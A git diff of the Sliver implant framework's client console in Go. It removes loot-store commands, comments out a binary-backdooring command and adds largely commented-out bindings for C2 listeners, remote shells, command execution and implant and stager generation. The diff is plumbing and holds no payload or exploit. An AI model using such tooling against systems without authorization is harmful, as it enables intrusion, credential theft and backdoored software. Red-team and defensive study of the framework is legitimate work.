- LongHelp: help.GetHelpFor([]string{consts.LootStr}),
- Flags: func(f *grumble.Flags) {
- f.String("f", "filter", "", "filter based on loot type")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootRoot(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- }
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.LootLocalStr,
- Help: "Add a local file to the server's loot store",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}),
- Args: func(a *grumble.Args) {
- a.String("path", "The local file path to the loot")
- },
- Flags: func(f *grumble.Flags) {
- f.String("n", "name", "", "name of this piece of loot")
- f.String("T", "type", "", "force a specific loot type (file/cred)")
- f.String("F", "file-type", "", "force a specific file type (binary/text)")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootAddLocal(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.LootRemoteStr,
- Help: "Add a remote file from the current session to the server's loot store",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
- Args: func(a *grumble.Args) {
- a.String("path", "The local file path to the loot")
- },
- Flags: func(f *grumble.Flags) {
- f.String("n", "name", "", "name of this piece of loot")
- f.String("T", "type", "", "force a specific loot type (file/cred)")
- f.String("F", "file-type", "", "force a specific file type (binary/text)")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootAddRemote(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.LootCredsStr,
- Help: "Add credentials to the server's loot store",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootCredsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("n", "name", "", "name of this piece of loot")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootAddCredential(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.RenameStr,
- Help: "Re-name a piece of existing loot",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootRename(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.LootFetchStr,
- Help: "Fetch a piece of loot from the server's loot store",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
- Flags: func(f *grumble.Flags) {
- f.String("s", "save", "", "save loot to a local file")
- f.String("f", "filter", "", "filter based on loot type")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootFetch(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- lootCmd.AddCommand(&grumble.Command{
- Name: consts.RmStr,
- Help: "Remove a piece of loot from the server's loot store",
- LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}),
- Flags: func(f *grumble.Flags) {
- f.String("f", "filter", "", "filter based on loot type")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- lootRm(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- app.AddCommand(lootCmd)
-}
diff --git a/client/command/binject.go b/client/command/binject.go
index de6345fa30..26235768ad 100644
--- a/client/command/binject.go
+++ b/client/command/binject.go
@@ -1,68 +1,68 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
+// import (
+// "context"
+// "fmt"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
-func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- fmt.Println(Warn + "Please select an active session via `use`")
- return
- }
+// func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// fmt.Println(Warn + "Please select an active session via `use`")
+// return
+// }
- remoteFilePath := ctx.Args.String("remote-file")
- if remoteFilePath == "" {
- fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
- return
- }
+// remoteFilePath := ctx.Args.String("remote-file")
+// if remoteFilePath == "" {
+// fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
+// return
+// }
- profileName := ctx.Flags.String("profile")
+// profileName := ctx.Flags.String("profile")
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
- go spin.Until(msg, ctrl)
- backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
- FilePath: remoteFilePath,
- ProfileName: profileName,
- Request: ActiveSession.Request(ctx),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
+// go spin.Until(msg, ctrl)
+// backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
+// FilePath: remoteFilePath,
+// ProfileName: profileName,
+// Request: ActiveSession.Request(ctx),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- if backdoor.Response != nil && backdoor.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
- return
- }
+// if backdoor.Response != nil && backdoor.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
+// return
+// }
- fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
+// fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
-}
+// }
diff --git a/client/command/command.go b/client/command/command.go
deleted file mode 100644
index 2ae5fde212..0000000000
--- a/client/command/command.go
+++ /dev/null
@@ -1,175 +0,0 @@
-package command
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
- "time"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-
- "gopkg.in/AlecAivazis/survey.v1"
-)
-
-const (
- // ANSI Colors
- normal = "\033[0m"
- black = "\033[30m"
- red = "\033[31m"
- green = "\033[32m"
- orange = "\033[33m"
- blue = "\033[34m"
- purple = "\033[35m"
- cyan = "\033[36m"
- gray = "\033[37m"
- bold = "\033[1m"
- clearln = "\r\x1b[2K"
- upN = "\033[%dA"
- downN = "\033[%dB"
- underline = "\033[4m"
-
- // Info - Display colorful information
- Info = bold + cyan + "[*] " + normal
- // Warn - Warn a user
- Warn = bold + red + "[!] " + normal
- // Debug - Display debug information
- Debug = bold + purple + "[-] " + normal
- // Woot - Display success
- Woot = bold + green + "[$] " + normal
-)
-
-var (
-
- // ActiveSession - The current sliver we're interacting with
- ActiveSession = &activeSession{
- observers: map[int]Observer{},
- observerID: 0,
- }
-
- stdinReadTimeout = 10 * time.Millisecond
-)
-
-// Observer - A function to call when the sessions changes
-type Observer func(*clientpb.Session)
-
-type activeSession struct {
- session *clientpb.Session
- observers map[int]Observer
- observerID int
-}
-
-// GetInteractive - GetInteractive the active session
-func (s *activeSession) GetInteractive() *clientpb.Session {
- if s.session == nil {
- fmt.Printf(Warn + "Please select an active session via `use`\n")
- return nil
- }
- return s.session
-}
-
-// Get - Same as Get() but doesn't print a warning
-func (s *activeSession) Get() *clientpb.Session {
- if s.session == nil {
- return nil
- }
- return s.session
-}
-
-// AddObserver - Observers to notify when the active session changes
-func (s *activeSession) AddObserver(observer Observer) int {
- s.observerID++
- s.observers[s.observerID] = observer
- return s.observerID
-}
-
-func (s *activeSession) RemoveObserver(observerID int) {
- if _, ok := s.observers[observerID]; ok {
- delete(s.observers, observerID)
- }
-}
-
-func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
- if s.session == nil {
- return nil
- }
- timeout := int(time.Second) * ctx.Flags.Int("timeout")
- return &commonpb.Request{
- SessionID: s.session.ID,
- Timeout: int64(timeout),
- }
-}
-
-// Set - Change the active session
-func (s *activeSession) Set(session *clientpb.Session) {
- s.session = session
- for _, observer := range s.observers {
- observer(s.session)
- }
-}
-
-// Background - Background the active session
-func (s *activeSession) Background() {
- s.session = nil
- for _, observer := range s.observers {
- observer(nil)
- }
-}
-
-// GetSession - Get session by session ID or name
-func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
- sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return nil
- }
- for _, session := range sessions.GetSessions() {
- if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
- return session
- }
- }
- return nil
-}
-
-// GetSessionsByName - Return all sessions for an Implant by name
-func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
- sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return nil
- }
- matched := []*clientpb.Session{}
- for _, session := range sessions.GetSessions() {
- if session.Name == name {
- matched = append(matched, session)
- }
- }
- return matched
-}
-
-// This should be called for any dangerous (OPSEC-wise) functions
-func isUserAnAdult() bool {
- confirm := false
- prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
- survey.AskOne(prompt, &confirm, nil)
- return confirm
-}
diff --git a/client/command/commands.go b/client/command/commands.go
new file mode 100644
index 0000000000..951e62050f
--- /dev/null
+++ b/client/command/commands.go
@@ -0,0 +1,1995 @@
+package command
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+ ---
+ This file contains all of the code that binds a given string/flags/etc. to a
+ command implementation function.
+
+ Guidelines when adding a command:
+
+ * Try to reuse the same short/long flags for the same paramenter,
+ e.g. "timeout" flags should always be -t and --timeout when possible.
+ Try to avoid creating flags that conflict with others even if you're
+ not using the flag, e.g. avoid using -t even if your command doesn't
+ have a --timeout.
+
+ * Add a long-form help template to `client/help`
+
+*/
+
+import (
+ "github.com/bishopfox/sliver/client/command/help"
+ "github.com/bishopfox/sliver/client/console"
+)
+
+const (
+ defaultMTLSLPort = 8888
+ defaultWGLPort = 53
+ defaultWGNPort = 8888
+ defaultWGKeyExPort = 1337
+ defaultHTTPLPort = 80
+ defaultHTTPSLPort = 443
+ defaultDNSLPort = 53
+ defaultTCPPivotPort = 9898
+
+ defaultReconnect = 60
+ defaultPoll = 1
+ defaultMaxErrors = 1000
+
+ defaultTimeout = 60
+)
+
+// BindCommands - Bind commands to a App
+func BindCommands(con *console.SliverConsoleClient) {
+
+ con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
+
+ // client.App.AddCommand(&grumble.Command{
+ // Name: consts.UpdateStr,
+ // Help: "Check for updates",
+ // LongHelp: help.GetHelpFor([]string{consts.UpdateStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("P", "prereleases", false, "include pre-released (unstable) versions")
+ // f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
+ // f.String("s", "save", "", "save downloaded files to specific directory (default user home dir)")
+ // f.Bool("I", "insecure", false, "skip tls certificate validation")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // updates(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.VersionStr,
+ // Help: "Display version information",
+ // LongHelp: help.GetHelpFor([]string{consts.VersionStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // verboseVersions(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // // [ Jobs ] -----------------------------------------------------------------
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.JobsStr,
+ // Help: "Job control",
+ // LongHelp: help.GetHelpFor([]string{consts.JobsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("k", "kill", -1, "kill a background job")
+ // f.Bool("K", "kill-all", false, "kill all jobs")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // jobs(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MtlsStr,
+ // Help: "Start an mTLS listener",
+ // LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("s", "server", "", "interface to bind server to")
+ // f.Int("l", "lport", defaultMTLSLPort, "tcp listen port")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("p", "persistent", false, "make persistent across restarts")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // startMTLSListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.WGStr,
+ // Help: "Start a WireGuard listener",
+ // LongHelp: help.GetHelpFor([]string{consts.WGStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("l", "lport", defaultWGLPort, "udp listen port")
+ // f.Int("n", "nport", defaultWGNPort, "virtual tun interface listen port")
+ // f.Int("x", "key-port", defaultWGKeyExPort, "virtual tun inteface key exchange port")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("p", "persistent", false, "make persistent across restarts")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // startWGListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.DnsStr,
+ // Help: "Start a DNS listener",
+ // LongHelp: help.GetHelpFor([]string{consts.DnsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
+ // f.Bool("c", "no-canaries", false, "disable dns canary detection")
+ // f.Int("l", "lport", defaultDNSLPort, "udp listen port")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("p", "persistent", false, "make persistent across restarts")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // startDNSListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.HttpStr,
+ // Help: "Start an HTTP listener",
+ // LongHelp: help.GetHelpFor([]string{consts.HttpStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("d", "domain", "", "limit responses to specific domain")
+ // f.String("w", "website", "", "website name (see websites cmd)")
+ // f.Int("l", "lport", defaultHTTPLPort, "tcp listen port")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("p", "persistent", false, "make persistent across restarts")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // startHTTPListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.HttpsStr,
+ // Help: "Start an HTTPS listener",
+ // LongHelp: help.GetHelpFor([]string{consts.HttpsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("d", "domain", "", "limit responses to specific domain")
+ // f.String("w", "website", "", "website name (see websites cmd)")
+ // f.Int("l", "lport", defaultHTTPSLPort, "tcp listen port")
+
+ // f.String("c", "cert", "", "PEM encoded certificate file")
+ // f.String("k", "key", "", "PEM encoded private key file")
+
+ // f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Bool("p", "persistent", false, "make persistent across restarts")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // startHTTPSListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PlayersStr,
+ // Help: "List operators",
+ // LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // operatorsCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.MultiplayerHelpGroup,
+ // })
+
+ // // [ Commands ] --------------------------------------------------------------
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SessionsStr,
+ // Help: "Session management",
+ // LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("i", "interact", "", "interact with a sliver")
+ // f.String("k", "kill", "", "Kill the designated session")
+ // f.Bool("K", "kill-all", false, "Kill all the sessions")
+ // f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // sessions(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.BackgroundStr,
+ // Help: "Background an active session",
+ // LongHelp: help.GetHelpFor([]string{consts.BackgroundStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // background(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.KillStr,
+ // Help: "Kill a session",
+ // LongHelp: help.GetHelpFor([]string{consts.KillStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // kill(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("f", "force", false, "Force kill, does not clean up")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.InfoStr,
+ // Help: "Get info about session",
+ // LongHelp: help.GetHelpFor([]string{consts.InfoStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("session", "session ID", grumble.Default(""))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // info(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.UseStr,
+ // Help: "Switch the active session",
+ // LongHelp: help.GetHelpFor([]string{consts.UseStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("session", "session ID")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // use(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ShellStr,
+ // Help: "Start an interactive shell",
+ // LongHelp: help.GetHelpFor([]string{consts.ShellStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("y", "no-pty", false, "disable use of pty on macos/linux")
+ // f.String("s", "shell-path", "", "path to shell interpreter")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // shell(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.ExecuteStr,
+ // Help: "Execute a program on the remote system",
+ // LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Bool("T", "token", false, "execute command with current token (windows only)")
+ // f.Bool("s", "silent", false, "don't print the command output")
+ // f.Bool("X", "loot", false, "save output as loot")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("command", "command to execute")
+ // a.StringList("arguments", "arguments to the command")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // execute(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // generateCmd := &grumble.Command{
+ // Name: consts.GenerateStr,
+ // Help: "Generate an implant binary",
+ // LongHelp: help.GetHelpFor([]string{consts.GenerateStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("o", "os", "windows", "operating system")
+ // f.String("a", "arch", "amd64", "cpu architecture")
+ // f.String("N", "name", "", "agent name")
+ // f.Bool("d", "debug", false, "enable debug features")
+ // f.Bool("e", "evasion", false, "enable evasion features")
+ // f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
+
+ // f.String("c", "canary", "", "canary domain(s)")
+
+ // f.String("m", "mtls", "", "mtls connection strings")
+ // f.String("g", "wg", "", "wg connection strings")
+ // f.String("H", "http", "", "http(s) connection strings")
+ // f.String("n", "dns", "", "dns connection strings")
+ // f.String("p", "named-pipe", "", "named-pipe connection strings")
+ // f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+
+ // f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port")
+ // f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port")
+
+ // f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
+ // f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)")
+ // f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
+
+ // f.String("w", "limit-datetime", "", "limit execution to before datetime")
+ // f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
+ // f.String("y", "limit-username", "", "limit execution to specified username")
+ // f.String("z", "limit-hostname", "", "limit execution to specified hostname")
+ // f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+
+ // f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
+
+ // f.String("s", "save", "", "directory/file to the binary to")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // generate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // }
+ // generateCmd.AddCommand(&grumble.Command{
+ // Name: consts.StagerStr,
+ // Help: "Generate a implant stager using MSF",
+ // LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("o", "os", "windows", "operating system")
+ // f.String("a", "arch", "amd64", "cpu architecture")
+ // f.String("l", "lhost", "", "Listening host")
+ // f.Int("p", "lport", 8443, "Listening port")
+ // f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
+ // f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
+ // f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
+ // f.String("s", "save", "", "directory to save the generated stager to")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // generateStager(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // generateCmd.AddCommand(&grumble.Command{
+ // Name: consts.CompilerStr,
+ // Help: "Get information about the server's compiler",
+ // LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
+ // Flags: func(f *grumble.Flags) {
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // generateCompilerInfo(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // console.App.AddCommand(generateCmd)
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.StageListenerStr,
+ // Help: "Start a stager listener",
+ // LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("p", "profile", "", "Implant profile to link with the listener")
+ // f.String("u", "url", "", "URL to which the stager will call back to")
+ // f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
+ // f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
+ // f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // stageListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.RegenerateStr,
+ // Help: "Regenerate an implant",
+ // LongHelp: help.GetHelpFor([]string{consts.RegenerateStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("implant-name", "name of the implant")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.String("s", "save", "", "directory/file to the binary to")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // regenerate(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
